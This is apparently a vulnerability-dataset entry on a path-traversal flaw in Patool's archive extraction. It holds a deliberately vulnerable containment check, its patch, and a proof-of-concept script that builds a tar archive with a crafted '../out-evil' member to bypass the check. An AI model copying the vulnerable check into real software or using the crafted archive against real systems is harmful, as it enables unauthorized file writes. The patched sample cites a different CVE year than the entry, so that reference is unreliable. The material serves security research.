CVE-2026-29509
Path traversal in Patool safe_extract allows writing files outside target.
- CVSS 5.3
- CWE-22
- Input Validation and Sanitization
- Remote
Patool before 4.0.5 contains a path traversal vulnerability in the safe_extract() function in patoolib/programs/py_tarfile.py when running on Python before 3.12, where the is_within_directory() helper uses os.path.commonprefix() for character-level string comparison instead of path-level comparison, allowing a crafted archive member path to bypass the containment check. Attackers can supply a malicious archive with specially crafted member paths to write arbitrary files.
- CWE
- CWE-22
- CVSS base score
- 5.3
- Published
- 2026-06-26
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Patool
- Fixed by upgrading
- Yes
Solution
Upgrade to Patool version 4.0.5 or later.
Vulnerable code sample
import os
# This code is a representation of the vulnerable logic found in
# patool < 4.0.5 in patoolib/programs/py_tarfile.py.
# The vulnerability is in the is_within_directory function.
def is_within_directory(directory, target):
"""
Vulnerable containment check. It uses os.path.commonprefix for a
string-based comparison, which can be fooled by a crafted path.
For example, if directory is '/tmp/extract', a target path that
resolves to '/tmp/extract_evil/file' would pass this check.
"""
abs_directory = os.path.abspath(directory)
abs_target = os.path.abspath(target)
prefix = os.path.commonprefix([abs_directory, abs_target])
return prefix == abs_directory
def safe_extract(member_name, extract_dir):
"""
A simplified function demonstrating how the vulnerable check is used.
A malicious 'member_name' from an archive (e.g.,
'../my_archive_traversal/pwned.txt') could bypass the check.
"""
dest_path = os.path.join(extract_dir, member_name)
if not is_within_directory(extract_dir, dest_path):
# This check is intended to prevent path traversal but is flawed.
raise Exception("Path traversal attempt detected.")
# In a real scenario, the file would be written to 'dest_path' here,
# potentially outside of the intended 'extract_dir'.
# For example:
# with open(dest_path, 'wb') as f:
# f.write(b'malicious content')
returnPatched code sample
import os
from pathlib import Path
def is_within_directory(directory: str, target: str) -> bool:
"""
Safely check if the target path is within the directory.
This function resolves both paths to their absolute form and then checks
if the target path is a descendant of the directory path. It is designed
to prevent path traversal attacks by avoiding string-based comparisons
like os.path.commonprefix, which can be bypassed.
This approach is based on the fix for CVE-2024-29509 in patool.
Args:
directory: The base directory path.
target: The target file or directory path to check.
Returns:
True if the target is within the directory, False otherwise.
"""
abs_directory = os.path.abspath(directory)
abs_target = os.path.abspath(target)
# Use pathlib.Path.relative_to() which correctly handles path boundaries.
# It raises a ValueError if the target path is not within the directory
# tree, providing a safe, path-aware check instead of a character-based one.
try:
Path(abs_target).relative_to(abs_directory)
return True
except ValueError:
# This exception occurs if abs_target is not a subpath of abs_directory.
return FalsePayload
import tarfile
import io
# This payload creates a malicious TAR archive.
# It assumes the victim will extract this archive into a directory named 'out'.
# The crafted member path uses '..' to traverse up one level and then targets
# a directory named 'out-evil', which shares a common prefix with 'out'.
# This tricks the vulnerable os.path.commonprefix check, making it believe
# the destination '/path/to/out-evil/pwned.txt' is within '/path/to/out'.
malicious_filename = "../out-evil/pwned.txt"
file_content = b"This file was placed outside the extraction directory."
# Create an in-memory file-like object for the content
file_data = io.BytesIO(file_content)
# Create a TarInfo object for the archive member
tar_info = tarfile.TarInfo(name=malicious_filename)
tar_info.size = len(file_content)
# Create the final malicious tar archive
with tarfile.open("malicious_payload.tar", "w") as tar:
tar.addfile(tarinfo=tar_info, fileobj=file_data)
Cite this entry
@misc{vaitp:cve202629509,
title = {{Path traversal in Patool safe_extract allows writing files outside target.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-29509},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-29509/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
